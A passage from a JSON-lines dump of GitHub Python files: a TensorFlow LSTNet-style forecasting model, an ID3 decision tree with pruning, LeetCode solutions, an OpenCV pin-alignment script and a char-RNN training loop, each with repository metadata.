conv layer requires\n outputs = tf.expand_dims(inputs, axis=3)\n\n # the convolution is applied over window and time_series_vars.\n # the kernel size equals self.cnn_kernel_size x time_series_vars\n # This means the filters don't 'stride' along the time_series_vars dimension\n # Consequently this dimension is always size 1 and will be removed before returning.\n # After this operation inputs has shape batch_size, window, 1, self.cnn_filters\n outputs = tf.keras.layers.Conv2D(\n filters=self.cnn_filters,\n kernel_size=(self.cnn_kernel_size, outputs.get_shape().as_list()[2]),\n data_format=\"channels_last\",\n kernel_initializer=self.cnn_kernel_init,\n activation=tf.nn.relu # from paper\n )(outputs)\n # remove the dimension with size 1\n outputs = tf.squeeze(outputs, axis=2)\n\n training = bool(mode == tf.estimator.ModeKeys.TRAIN)\n if self.cnn_batch_normalization:\n outputs = tf.keras.layers.BatchNormalization(axis=2)(outputs, training=training)\n outputs = tf.keras.layers.Dropout(rate=self.cnn_dropout)(outputs, training=training)\n\n # since we use padding = 'valid' we might lose some time slots.\n # we concatenate window - kernel + 1 zeros to the output\n # We put the additional zeros to the beginning of the time axis\n outputs = tf.concat(\n [\n tf.zeros(shape=[input_shape[0], self.cnn_kernel_size - 1, self.cnn_filters],\n dtype=tf.float32),\n outputs\n ],\n axis=1\n )\n\n return outputs\n\n def _pre_skip_layer(self, inputs):\n \"\"\"\n Reshape the input to prepare for the skip RNN.\n\n First, we calculate the number of time steps we use when only considering every skip time slot\n from the original input.\n Lets say the original input contains hourly data and we use a window size of one week.\n Lets say we want to use a skip value of one day (assuming we have daily periodicities)\n This means for each hour of the day we get 7 values over course of the week.\n For each of the 7 values we have #time-series-variables entries.\n I.e. we want a tensor of shape batch_size, 24, 7, #time-series-variables\n The 7 is the time dimension from which we want to learn temporal dependencies.\n The Rnn Cell accepts inputs of shape batch_size, time, feature.\n We reshape our tensor to shape [batch_size * 24, 7, #time-series-variables] to get this shape.\n The RNN cell will then roll over the 7 days for each hour 'slot' in the day for each element in the batch\n\n Args:\n inputs(Tensor): Has shape batch_size, window, time_series_vars\n\n Returns:\n outputs(Tensor): Has shape [batch_size * skip, window/skip, time_series_vars]\n \"\"\"\n input_shape = inputs.get_shape().as_list()\n # the number of time slots when only considering every skip entry of the input time window\n num_slots = int(self.window/self.skip)\n\n output = inputs[:, -num_slots*self.skip:, :] # get the last num_slots * skip time slots\n\n # unstack the time slots into a new dimension\n output = tf.reshape(output, [input_shape[0], num_slots, self.skip, input_shape[2]])\n\n # permotue skip and slot axis\n output = tf.transpose(output, [0, 2, 1, 3])\n\n # merge the batch axis and the skip axis\n output = tf.reshape(output, [input_shape[0]*self.skip, num_slots, input_shape[2]])\n\n return output\n\n def _post_skip_layer(self, inputs, original_batch_size):\n \"\"\"\n Reshape the input after the skip connection\n\n The output from the rnn skip layer has shape batch_size*skip, self.skip_gru_units.\n We want Tensor of shape batch_size, skip * skip_gru_units\n\n Args:\n inputs(Tensor): Has shape batch_size*skip, self.skip_gru_units\n original_batch_size(int): The original batch size\n\n Returns:\n outputs(Tensor): Has shape batch_size, skip * self.skip_gru_units\n \"\"\"\n input_shape = inputs.get_shape().as_list()\n\n # has shape [batch_size, skip, self.skip_gru_units]\n outputs = tf.reshape(inputs, [original_batch_size, self.skip, input_shape[1]])\n\n # has shape [batch_size, skip * self.skip_gru_units]\n outputs = tf.reshape(outputs, [original_batch_size, self.skip * input_shape[1]])\n\n return outputs\n\n def _pre_ar_layer(self, inputs):\n \"\"\"\n Reshapes inputs for auto regressive component (highway)\n\n Args:\n inputs(Tensor): Has shape [batch_size, window, #time-series-variables]\n\n Returns\n output(Tensor): Has shape []\n \"\"\"\n input_shape = inputs.get_shape().as_list()\n\n # pick the last highway timeslots\n output = inputs[:, -self.highway:, :]\n\n # permute axis\n output = tf.transpose(output, [0, 2, 1])\n\n # merge the time-series into the batch size and isolate the highway axis\n output = tf.reshape(output, [input_shape[0] * input_shape[2], self.highway])\n\n return output\n\n def _post_ar_layer(self, inputs, original_batch_size):\n \"\"\"\n Reshape inputs after auto regressive component (highway)\n\n Args:\n inputs(Tensor): Has shape batch_size * #time-series-variables, 1\n original_batch_size(int): training batch size\n\n Returns:\n output(Tensor): Has shape batch_size, # time-series-variables\n\n \"\"\"\n outputs = tf.reshape(inputs, [original_batch_size, self.num_time_series])\n return outputs\n\n def model_fn(self, features, labels, mode, params):\n \"\"\" Implement the tensorflow graph \"\"\"\n\n inputs = features\n if isinstance(features, dict):\n inputs = features[\"features\"]\n\n initial_input_shape = inputs.get_shape().as_list()\n\n if mode == tf.estimator.ModeKeys.PREDICT:\n # Set the batch size manually as it is somehow not set by the numpy input func\n inputs = tf.reshape(inputs, [1, initial_input_shape[1], initial_input_shape[2]])\n initial_input_shape[0] = 1\n\n # inputs is of shape batch_size x window x time_series_vars\n if self.cnn_filters > 0 and self.cnn_kernel_size > 0:\n # inputs is of shape batch_size x window x self.cnn_filters\n cnn_out = self._convolutional_decoder(inputs, mode)\n else:\n cnn_out = inputs\n # recurrent out has shape batch_size x self.gru_units\n _, recurrent_out = tf.keras.layers.GRU(\n units=self.gru_units,\n activation=tf.nn.relu,\n return_sequences=False,\n return_state=True\n )(cnn_out)\n\n if self.skip > 0:\n\n recurrent_out_skip = self._pre_skip_layer(cnn_out)\n _, recurrent_out_skip = tf.keras.layers.GRU(\n units=self.skip_gru_units,\n activation=tf.nn.relu,\n return_sequences=False,\n return_state=True\n )(recurrent_out_skip)\n recurrent_out_skip = self._post_skip_layer(recurrent_out_skip, initial_input_shape[0])\n recurrent_out = tf.concat([recurrent_out, recurrent_out_skip], axis=1) # concat outputs\n\n flat_out = tf.keras.layers.Flatten()(recurrent_out)\n dense_out = tf.keras.layers.Dense(initial_input_shape[2])(flat_out)\n\n if self.highway > 0:\n ar_out = self._pre_ar_layer(inputs)\n ar_out = tf.keras.layers.Flatten()(ar_out)\n ar_out = tf.keras.layers.Dense(1)(ar_out)\n ar_out = self._post_ar_layer(ar_out, initial_input_shape[0])\n\n dense_out = tf.keras.layers.Add()([dense_out, ar_out])\n\n # has shape batch_size, #time-series-variable\n logits = dense_out\n\n if mode == tf.estimator.ModeKeys.PREDICT:\n predictions = {\n \"prediction\": logits\n }\n return tf.estimator.EstimatorSpec(\n mode=mode,\n predictions=predictions\n )\n\n loss = tf.reduce_mean(tf.keras.losses.mae(y_true=labels, y_pred=logits), axis=0)\n\n if self.weight_regularization > 0:\n loss += self.weight_regularization * tf.add_n(\n [tf.nn.l2_loss(v) for v in tf.trainable_variables()\n if 'batch_normalization' not in v.name]\n )\n\n train_op = None\n if mode == tf.estimator.ModeKeys.TRAIN:\n\n if self.optimizer == \"SDG\":\n optimizer = tf.train.GradientDescentOptimizer(learning_rate=self.learning_rate)\n elif self.optimizer == \"RMSProb\":\n optimizer = tf.train.RMSPropOptimizer(learning_rate=self.learning_rate)\n else:\n optimizer = tf.train.AdamOptimizer(learning_rate=self.learning_rate)\n\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n\n with tf.control_dependencies(update_ops):\n\n grads_and_vars = optimizer.compute_gradients(loss)\n\n grads_and_vars = [(tf.clip_by_norm(grad, self.clip_gradients), var) for grad, var in grads_and_vars]\n\n train_op = optimizer.apply_gradients(grads_and_vars, global_step=tf.train.get_global_step())\n\n eval_metrics = None\n if mode == tf.estimator.ModeKeys.EVAL:\n \"\"\" Eval metrics \"\"\"\n eval_metrics = {\n \"rmse\": rmse(labels=labels, predictions=logits),\n \"corr\": corr(labels=labels, predictions=logits)\n }\n\n return tf.estimator.EstimatorSpec(\n mode=mode,\n loss=loss,\n train_op=train_op,\n eval_metric_ops=eval_metrics\n )\n","repo_name":"slettner/chronos","sub_path":"src/chronos/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":14024,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"19013287938","text":"class Solution:\n def minimumAbsDifference(self, arr: List[int]) -> List[List[int]]:\n arr.sort()\n globalMin = 10000000\n for i in range(1, len(arr)):\n globalMin = min(globalMin, arr[i]-arr[i-1])\n res = []\n for i in range(1, len(arr)):\n if arr[i]-arr[i-1] == globalMin:\n res.append([arr[i-1], arr[i]])\n \n return res\n","repo_name":"ChanchalKumarMaji/LeetCode","sub_path":"1200. Minimum Absolute Difference/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"81"} +{"seq_id":"19852826177","text":"\"\"\"\r\nImplementation of the ID3 algorithm\r\n\"\"\"\r\nimport math\r\nfrom collections import Counter\r\n\r\nfrom node import Node\r\n\r\n\r\ndef get_most_common_class(class_labels):\r\n \"\"\"\r\n Return the class with the most number of examples.\r\n \"\"\"\r\n return Counter(class_labels).most_common()[0][0]\r\n\r\n\r\ndef get_entropy(examples):\r\n \"\"\"\r\n Calculate the entropy for a set of examples.\r\n \"\"\"\r\n class_labels_count = Counter([example[\"Class\"] for example in examples])\r\n entropy = 0\r\n for class_label_count in class_labels_count.items():\r\n proportion = class_label_count[1] / len(examples)\r\n entropy += -proportion * math.log2(proportion)\r\n return entropy\r\n\r\n\r\ndef get_info_gain(examples, attribute):\r\n \"\"\"\r\n Return the information gain for a set of examples and attributes.\r\n \"\"\"\r\n parent_entropy = get_entropy(examples)\r\n attribute_values = set(example[attribute] for example in examples)\r\n weighted_entropy = 0\r\n for attribute_value in attribute_values:\r\n child_examples = [\r\n example for example in examples if example[attribute] == attribute_value\r\n ]\r\n child_entropy = get_entropy(child_examples)\r\n weighted_entropy += (len(child_examples) / len(examples)) * child_entropy\r\n info_gain = parent_entropy - weighted_entropy\r\n return info_gain\r\n\r\n\r\ndef ID3(examples, default):\r\n \"\"\"\r\n Takes in an array of examples, and returns a tree (an instance of Node)\r\n trained on the examples. Each example is a dictionary of attribute:value\r\n pairs, and the target class variable is a special attribute with the name\r\n \"Class\". Any missing attributes are denoted with a value of \"?\".\r\n \"\"\"\r\n # if there are no examples, return the default value\r\n if len(examples) == 0:\r\n node = Node(default)\r\n return node\r\n attributes = set(\r\n attribute for attribute in examples[0].keys() if attribute != \"Class\"\r\n )\r\n node = ID3_helper(examples, attributes)\r\n return node\r\n\r\n\r\ndef ID3_helper(examples, attributes, missing_values=\"keep\"):\r\n \"\"\"\r\n Recursively creates a decision tree.\r\n \"\"\"\r\n node = Node()\r\n class_labels = [example[\"Class\"] for example in examples]\r\n\r\n # this class label would be useful during pruning\r\n node.update_class_label(get_most_common_class(class_labels))\r\n\r\n # if all examples belong to the same class, update as leaf and return\r\n if len(set(class_labels)) == 1:\r\n node.update_as_leaf()\r\n return node\r\n\r\n # if no attributes remaining or if no examples remaining, update as leaf\r\n # and use most common class\r\n if not attributes or len(examples) == 0:\r\n node.update_as_leaf()\r\n return node\r\n\r\n # get best_attribute based on information gain (info_gain)\r\n attribute_info_gain = {}\r\n for attribute in attributes:\r\n attribute_info_gain[attribute] = get_info_gain(examples, attribute)\r\n best_attribute = max(\r\n attribute_info_gain,\r\n key=lambda key: attribute_info_gain[key],\r\n )\r\n node.update_attribute(best_attribute)\r\n\r\n # recursively create child nodes based on the best attribute values\r\n if missing_values == \"ignore\":\r\n best_attribute_values = set(\r\n example[best_attribute]\r\n for example in examples\r\n if example[best_attribute] != \"?\"\r\n )\r\n elif missing_values == \"keep\":\r\n best_attribute_values = set(example[best_attribute] for example in examples)\r\n for best_attribute_value in best_attribute_values:\r\n child_examples = [\r\n example\r\n for example in examples\r\n if example[best_attribute] == best_attribute_value\r\n ]\r\n child_attributes = set(\r\n attribute for attribute in attributes if attribute != best_attribute\r\n )\r\n child_node = ID3_helper(child_examples, child_attributes)\r\n node.add_child(best_attribute_value, child_node)\r\n return node\r\n\r\n\r\ndef prune(node, examples):\r\n \"\"\"\r\n Takes in a trained tree and a validation set of examples. Prunes nodes in\r\n order to improve accuracy on the validation data; the precise pruning\r\n strategy is up to you.\r\n \"\"\"\r\n accuracy_based_pruning(node, examples)\r\n\r\n\r\ndef accuracy_based_pruning(node, examples):\r\n \"\"\"\r\n Recursively prune a tree by cutting off children until accuracy on the\r\n validation set stops improving.\r\n \"\"\"\r\n # stop once you reach the leaf, since you can't prune further\r\n if node.is_leaf:\r\n return\r\n\r\n # get to the max depth recursively\r\n for _, child_node in node.get_children():\r\n accuracy_based_pruning(child_node, examples)\r\n\r\n # Pruning starts once we reach the max depth\r\n pre_pruning_accuracy = test(node, examples)\r\n node.is_leaf = True\r\n post_pruning_accuracy = test(node, examples)\r\n\r\n # only prune the tree if the accuracy is better\r\n if post_pruning_accuracy <= pre_pruning_accuracy:\r\n node.is_leaf = False\r\n return\r\n\r\n\r\ndef test(node, examples):\r\n \"\"\"\r\n Takes in a trained tree and a test set of examples. Returns the accuracy\r\n (fraction of examples the tree classifies correctly).\r\n \"\"\"\r\n # compare predicted class label with ground truth\r\n num_correct_predictions = sum(\r\n [evaluate(node, example) == example[\"Class\"] for example in examples]\r\n )\r\n return num_correct_predictions / len(examples) # accuracy\r\n\r\n\r\ndef evaluate(node, example):\r\n \"\"\"\r\n Takes in a tree and one example. Returns the Class value that the tree\r\n assigns to the example.\r\n \"\"\"\r\n # recursively traverse the tree, until you reach a leaf node\r\n if node.is_leaf:\r\n return node.class_label\r\n\r\n node_attribute = node.get_attribute()\r\n example_attribute_value = example.get(node_attribute)\r\n child_node = node.children.get(example_attribute_value)\r\n\r\n # if attribute value is missing or if tree is pruned,\r\n # we won't have children for certain attribute values,\r\n # class_label here is the majority class\r\n if not child_node:\r\n return node.class_label\r\n return evaluate(child_node, example)\r\n","repo_name":"jacob5412/2023FA_MSAI_349","sub_path":"decision-trees/ID3.py","file_name":"ID3.py","file_ext":"py","file_size_in_byte":6129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"31374515812","text":"# 이친수 \n# 뭐지\n\nimport sys\n\nn = int(sys.stdin.readline())\ncount = 1\nfor i in range(2,n+1):\n binary = str(format(i,'b'))\n print(\"binary = \", binary)\n\n for j in range(1,len(binary)):\n if binary[0] == '0':\n break\n elif binary[j-1] == '1' and binary[j] == '1':\n break\n elif j == len(binary)-1:\n print(binary)\n count +=1\n\nprint(count)","repo_name":"Jeon-Jae-woo/CodingTest","sub_path":"2193.py","file_name":"2193.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"14218432960","text":"#!/usr/bin/python3\nimport os\nimport sys\nimport cv2\nimport argparse\nimport getpass\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom multiprocessing import Process\n\n# Gets the directory of where the file is being ran from\n# if os.getenv('PIN_ALIGN_ROOT') != os.path.dirname(os.path.realpath(__file__)):\n# ROOT = os.path.dirname(os.path.realpath(__file__))\n# os.environ['PIN_ALIGN_ROOT'] = ROOT\n# sys.path.append(ROOT)\n\nROOT = '/home/samuel/A/pin_align-master/pin_align_py'\nos.environ['PIN_ALIGN_ROOT'] = ROOT\nsys.path.append(ROOT)\n\nfrom pin_align_config import *\n\nparser = argparse.ArgumentParser(description='Run pin align with 0 and 90 degree images',\n epilog='pin_align.sh image_0 image_90 [tilt_limit] ' +\n 'compare 0 and 90 degree image writing the resulting pin tip image to image_out')\n\nparser.add_argument('IMG_0', help='Input image at 0 degrees')\nparser.add_argument('IMG_90', help='Input image at 90 degrees')\nparser.add_argument('-d', '--debug', action='store_true',\n help='Turn debug mode on')\nparser.add_argument('-i', '--image_check', action='store_true',\n help='Save all crops')\nargs = parser.parse_args()\n\nfbase_0 = args.IMG_0.split('/')[-1]\nfname_0 = fbase_0.split('.')[0]\n\nfbase_90 = args.IMG_90.split('/')[-1]\nfname_90 = fbase_90.split('.')[0]\n\nfname_combined = fname_0[:-5] + 'combined' + fname_0[-4:]\n\nuser_name = getpass.getuser()\ntmp_dir = os.path.join(os.getcwd(), user_name +\n '_pin_align_' + str(random.randint(11111, 99999)))\nos.system(\"mkdir -p \" + tmp_dir)\n\n\ndef adjust_gamma(image, gamma=1.0):\n invGamma = 1.0 / gamma\n table = np.array([((i / 255.0) ** invGamma) * 255\n for i in np.arange(0, 256)]).astype(\"uint8\")\n return cv2.LUT(image, table)\n\n\ndef pin_align_prep(image_path, fbase, fname):\n fout = os.path.join(tmp_dir, fbase)\n image = cv2.imread(image_path) # adjust_gamma(cv2.imread(image_path), gamma=0.9)\n cv2.imwrite(os.path.join(tmp_dir, fname + '.jpg'), image)\n\n # os.system('convert ' + image_path + ' -contrast -contrast ' + fout)\n # os.system('mv {} {}'.format(image_path, fout))\n\n gray_img = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\n\n pin_crops = [[gray_img[DEFAULT_HEIGHT, PIN_TIP], '_pin_tip.jpg'],\n [gray_img[DEFAULT_HEIGHT, PIN_BODY], '_pin_body.jpg'],\n [gray_img[DEFAULT_HEIGHT, PIN_BASE], '_pin_base.jpg']]\n\n images_out = []\n for i in range(len(pin_crops)):\n crop_blur = cv2.GaussianBlur(pin_crops[i][0], (3, 3), 2)\n high_thresh, thresh_im = cv2.threshold(\n crop_blur, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)\n lowThresh = 0.5*high_thresh\n crop_edge = cv2.Canny(crop_blur, lowThresh, high_thresh)\n crop_bw = cv2.bitwise_not(crop_edge)\n cross_kernel = cv2.getStructuringElement(cv2.MORPH_CROSS, (2, 2))\n crop_erode = cv2.erode(crop_bw, cross_kernel, iterations=1)\n crop_dilate = cv2.dilate(crop_erode, cross_kernel, iterations=1)\n images_out.append(crop_dilate)\n\n cv2.imwrite(os.path.join(tmp_dir, fname +\n pin_crops[i][1]), crop_dilate)\n\n # TODO Save images through processing steps\n if args.image_check:\n pass\n # cv2.imwrite('crop.jpg', crop)\n # cv2.imwrite('crop_blur.jpg', crop_blur)\n # cv2.imwrite('sharpened.jpg', crop_sharpen)\n # cv2.imwrite('high_thresh.jpg', thresh_im)\n # cv2.imwrite('crop_edge.jpg', crop_edge)\n # cv2.imwrite('crop_bw.jpg', crop_bw)\n # cv2.imwrite('crop_erode.jpg', crop_erode)\n # cv2.imwrite('crop_dilate.jpg', crop_dilate)\n\n return images_out\n\n\ndef tilt_check(img_0_pin_base, img_90_pin_base):\n alpha = 0.5\n beta = 1.0 - alpha\n combined_img = cv2.addWeighted(\n img_0_pin_base, alpha, img_90_pin_base, beta, 0)\n\n height = TILT_CHECK_TOP_Y2 - TILT_CHECK_TOP_Y1\n\n tilt_check_x1 = max(PIN_BASE_X1, TILT_CHECK_X1) - \\\n min(PIN_BASE_X1, TILT_CHECK_X1)\n tilt_check_x2 = max(PIN_BASE_X2, TILT_CHECK_X2) - \\\n min(PIN_BASE_X2, TILT_CHECK_X2)\n\n if tilt_check_x2 == 0:\n tilt_check_x2 = None\n\n tilt_check_top_y1 = TILT_CHECK_TOP_Y1 - DEFAULT_ROI_Y1\n tilt_check_top_y2 = tilt_check_top_y1 + height\n tilt_check_top = combined_img[tilt_check_top_y1:\n tilt_check_top_y2, tilt_check_x1:tilt_check_x2]\n tilt_top_filename = os.path.join(\n tmp_dir, fname_combined + '_tilt_check_top.jpg')\n\n tilt_check_bottom_y1 = TILT_CHECK_BOTTOM_Y1 - DEFAULT_ROI_Y1\n tilt_check_bottom_y2 = tilt_check_bottom_y1 + height\n tilt_check_bottom = combined_img[tilt_check_bottom_y1:\n tilt_check_bottom_y2, tilt_check_x1:tilt_check_x2]\n tilt_bottom_filename = os.path.join(\n tmp_dir, fname_combined + '_tilt_check_bottom.jpg')\n\n if args.debug:\n cv2.imwrite(tilt_top_filename, tilt_check_top)\n cv2.imwrite(tilt_bottom_filename, tilt_check_bottom)\n\n if not np.all(tilt_check_top == 255) or not np.all(tilt_check_bottom == 255):\n print('CAP TILTED')\n sys.exit(0)\n else:\n print('CAP CENTERED')\n\n\ndef pin_check(img_0_pin_body, img_90_pin_body):\n alpha = 0.5\n beta = 1.0 - alpha\n combined_img = cv2.addWeighted(\n img_0_pin_body, alpha, img_90_pin_body, beta, 0)\n height = PIN_CHECK_TOP_Y2 - PIN_CHECK_TOP_Y1\n\n pin_check_top_y1 = PIN_CHECK_TOP_Y1 - DEFAULT_ROI_Y1\n pin_check_top_y2 = pin_check_top_y1 + height\n pin_check_top = combined_img[pin_check_top_y1:pin_check_top_y2]\n pin_top_filename = os.path.join(\n tmp_dir, fname_combined + '_pin_check_top.jpg')\n\n pin_check_bottom_y1 = PIN_CHECK_BOTTOM_Y1 - DEFAULT_ROI_Y1\n pin_check_bottom_y2 = pin_check_bottom_y1 + height\n pin_check_bottom = combined_img[pin_check_bottom_y1:pin_check_bottom_y2]\n pin_bottom_filename = os.path.join(\n tmp_dir, fname_combined + '_pin_check_bottom.jpg')\n\n if args.debug:\n cv2.imwrite(pin_top_filename, pin_check_top)\n cv2.imwrite(pin_bottom_filename, pin_check_bottom)\n\n # TODO Test Python behavior on empty edge detection vs. Imagemagick\n if not np.all(pin_check_top == 255) or not np.all(pin_check_bottom == 255):\n print('PIN MISSING')\n sys.exit(0)\n elif np.all(img_0_pin_body == 255) or np.all(img_0_pin_body == 255):\n print('PIN MISSING')\n sys.exit(0)\n else:\n print('PIN PRESENT')\n\n\ndef move_to_center(img_0_pin_tip, img_90_pin_tip):\n X1 = 0\n X2 = X1 + (SMALL_BOX_X2 - SMALL_BOX_X1)\n\n Y1 = SMALL_BOX_Y1 - DEFAULT_ROI_Y1\n Y2 = Y1 + (SMALL_BOX_Y2 - SMALL_BOX_Y1)\n\n small_box_crop_0 = img_0_pin_tip[Y1:Y2, X1:X2]\n small_box_crop_90 = img_90_pin_tip[Y1:Y2, X1:X2]\n\n if args.debug:\n box_crop_0_filename = os.path.join(\n tmp_dir, fname_0 + '_pin_box_crop.jpg')\n box_crop_90_filename = os.path.join(\n tmp_dir, fname_90 + '_pin_box_crop.jpg')\n cv2.imwrite(box_crop_0_filename, small_box_crop_0)\n cv2.imwrite(box_crop_90_filename, small_box_crop_90)\n\n pixel_location = [False, False]\n black_pixels_0 = []\n black_pixels_90 = []\n\n for col in range(small_box_crop_0.shape[0]):\n if np.count_nonzero(small_box_crop_0[:, col] == 0) != 0 and not pixel_location[0]:\n # middle_index = np.count_nonzero(small_box_crop_0[:, col] == 0) // 2\n row_0 = np.argwhere(small_box_crop_0[:, col] == 0)[0][0]\n pixel_location[0] = [col, row_0]\n\n if np.count_nonzero(small_box_crop_90[:, col] == 0) != 0 and not pixel_location[1]:\n # middle_index = np.count_nonzero(small_box_crop_90[:, col] == 0) // 2\n row_90 = np.argwhere(small_box_crop_90[:, col] == 0)[0][0]\n pixel_location[1] = [col, row_90]\n\n if pixel_location[0] and pixel_location[1]:\n break\n\n if not pixel_location[0] or not pixel_location[1]:\n print('X Y Z VIOLATION')\n sys.exit(0)\n else:\n print('X, Y, Z WITHIN LIMITS')\n pin_tip_x_0 = SMALL_BOX_X1 + pixel_location[0][0]\n pin_tip_x_90 = SMALL_BOX_X1 + pixel_location[1][0]\n\n pin_tip_z = SMALL_BOX_Y1 + pixel_location[0][1]\n pin_tip_y = SMALL_BOX_Y1 + pixel_location[1][1]\n\n pin_tip_x_0_mm = (pin_tip_x_0 - X_CENTER) / DEFAULT_PIXELS_PER_MM\n\n pin_tip_x_90_mm = (pin_tip_x_90 - X_CENTER) / DEFAULT_PIXELS_PER_MM\n\n pin_tip_y_mm = (pin_tip_y - Y_CENTER) / DEFAULT_PIXELS_PER_MM\n pin_tip_z_mm = (pin_tip_z - Y_CENTER) / DEFAULT_PIXELS_PER_MM\n\n if not X_POS:\n pin_tip_x_0_mm = -pin_tip_x_0_mm\n pin_tip_x_90_mm = -pin_tip_x_90_mm\n if not Y_POS:\n pin_tip_y_mm = -pin_tip_y_mm\n if not Z_POS:\n pin_tip_z_mm = -pin_tip_z_mm\n\n print(\n 'OMEGA 0 X,-,Z PIN POS IMAGE2 PX [{}, - , {} ]'.format(pin_tip_x_0, pin_tip_z))\n print(\n 'OMEGA 90 X,Y,- PIN POS IMAGE1 PX [{}, {}, - ]'.format(pin_tip_x_90, pin_tip_y))\n print('OVERALL X,Y,Z PIN POS PX [{}, {}, {} ]'.format(\n min(pin_tip_x_0, pin_tip_x_90), pin_tip_y, pin_tip_z))\n\n print('OMEGA 0 X,-,Z OFFSETS TO CENTER IMAGE2 mm [{}, - , {} ]'.format(\n pin_tip_x_0_mm, pin_tip_z_mm))\n print('OMEGA 90 X,Y,- OFFSETS TO CENTER IMAGE1 mm [{}, {}, - ]'.format(\n pin_tip_x_90_mm, pin_tip_y_mm))\n print('OVERALL X,Y,Z OFFSETS TO CENTER mm [{}, {}, {} ]'.format(\n min(pin_tip_x_0_mm, pin_tip_x_90_mm), pin_tip_y_mm, pin_tip_z_mm))\n\n\nprint('0 degree: {}\\n90 degree: {}\\nFiles in: {}'.format(\n args.IMG_0, args.IMG_90, tmp_dir))\n\nimg_0_pin_tip, img_0_pin_body, img_0_pin_base = pin_align_prep(\n args.IMG_0, fbase_0, fname_0)\nimg_90_pin_tip, img_90_pin_body, img_90_pin_base = pin_align_prep(\n args.IMG_90, fbase_90, fname_90)\n\ntilt_check(img_0_pin_base, img_90_pin_base)\npin_check(img_0_pin_body, img_90_pin_body)\nmove_to_center(img_0_pin_tip, img_90_pin_tip)\n","repo_name":"samuelmc91/pin_align_py","sub_path":"pin_align_amx.py","file_name":"pin_align_amx.py","file_ext":"py","file_size_in_byte":10025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"28334423162","text":"import torch\nfrom data import *\nfrom model import *\nimport random\nimport time\nimport math\n\nn_hidden = 128\nn_epochs = 100000\nprint_every = 5000\nplot_every = 1000\nlearning_rate = 0.005\n\n\ncriterion = nn.NLLLoss()\n\n\ndef train(category_tensor, input_line_tensor, target_line_tensor):\n target_line_tensor.unsqueeze_(-1)\n hidden = rnn.initHidden()\n\n rnn.zero_grad()\n\n loss = 0\n\n for i in range(input_line_tensor.size(0)):\n output, hidden = rnn(category_tensor, input_line_tensor[i], hidden)\n l = criterion(output, target_line_tensor[i])\n loss += l\n\n loss.backward()\n\n for p in rnn.parameters():\n p.data.add_(-learning_rate, p.grad.data)\n\n return output, loss.item() / input_line_tensor.size(0)\n\ndef timeSince(since):\n now = time.time()\n s = now - since\n m = math.floor(s / 60)\n s -= m * 60\n return '%dm %ds' % (m, s)\n\nrnn = RNN(n_letters, 128, n_letters)\n\nn_iters = 100000\nprint_every = 5000\nplot_every = 500\nall_losses = []\ntotal_loss = 0 # Reset every plot_every iters\n\nstart = time.time()\n\nfor iter in range(1, n_iters + 1):\n output, loss = train(*randomTrainingExample())\n total_loss += loss\n\n if iter % print_every == 0:\n print('%s (%d %d%%) %.4f' % (timeSince(start), iter, iter / n_iters * 100, loss))\n\n if iter % plot_every == 0:\n all_losses.append(total_loss / plot_every)\n total_loss = 0\n\ntorch.save(rnn, 'char-rnn-generation.pt')","repo_name":"dharakyu/Machine-Translation","sub_path":"tutorials/generation/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"17216160978","text":"'''\nWrite a function to find the longest common prefix string amongst an array of strings.\n\nIf there is no common prefix, return an empty string \"\".\n\n\n\nExample 1:\n\nInput: strs = [\"flower\",\"flow\",\"flight\"]\nOutput: \"fl\"\n\nExample 2:\n\nInput: strs = [\"dog\",\"racecar\",\"car\"]\nOutput: \"\"\nExplanation: There is no common prefix among the input strings.\n\n\n\nConstraints:\n\n 1 <= strs.length <= 200\n 0 <= strs[i].length <= 200\n strs[i] consists of only lowercase English letters.\n\n'''\nfrom typing import List\nfrom pprint import pprint\n\n\nclass Trie():\n def __init__(self):\n self.root = {\"*\": \"*\"}\n\n def add_word(self, word: str):\n current_node = self.root\n for letter in word:\n print(\"letter\", letter)\n if letter not in current_node:\n current_node[letter] = {}\n current_node = current_node[letter]\n current_node[\"*\"] = \"*\"\n\n def does_word_exists(self, word: str):\n current_node = self.root\n for letter in word:\n if letter not in current_node:\n return False\n current_node = current_node[letter]\n return \"*\" in current_node\n\n def get_common_prefix(self):\n current_node = self.root\n common_prefix = \"-\"\n if len(current_node) > 2:\n return common_prefix.replace(\"-\", \"\")\n root_call = True\n while current_node:\n pprint(current_node)\n ch = list(current_node.keys())\n child_nodes = ch if ch is not None else []\n if root_call:\n child_nodes.remove(\"*\")\n root_call = False\n print(\"child _Nodes\", child_nodes)\n\n if len(child_nodes) == 1:\n if child_nodes[0] != \"*\":\n common_prefix += child_nodes[0]\n current_node = current_node[child_nodes[0]]\n print(\"common_prefix\", common_prefix)\n else:\n break\n else:\n break\n print(common_prefix)\n return common_prefix.replace(\"-\", \"\")\n\n\nclass SolutionOne:\n def longestCommonPrefix(self, strs: List[str]) -> str:\n trie = Trie()\n for word in strs:\n print(\"word\", word)\n if word == \"\":\n word = \"-\"\n trie.add_word(word)\n return trie.get_common_prefix()\n\n\nclass SolutionTwo:\n def longestCommonPrefix(self, v: List[str]) -> str:\n ans = \"\"\n v = sorted(v)\n first = v[0]\n last = v[-1]\n for i in range(min(len(first), len(last))):\n if (first[i] != last[i]):\n return ans\n ans += first[i]\n return ans\n\n\nif __name__ == '__main__':\n sol = SolutionTwo()\n strs = [\"flower\",\"flow\",\"flight\"]\n output = \"fl\"\n result = sol.longestCommonPrefix(v=strs)\n print(result)\n assert output == result\n","repo_name":"rishavpreet/LeetCodeJourney","sub_path":"Easy/Longest Common Prefix.py","file_name":"Longest Common 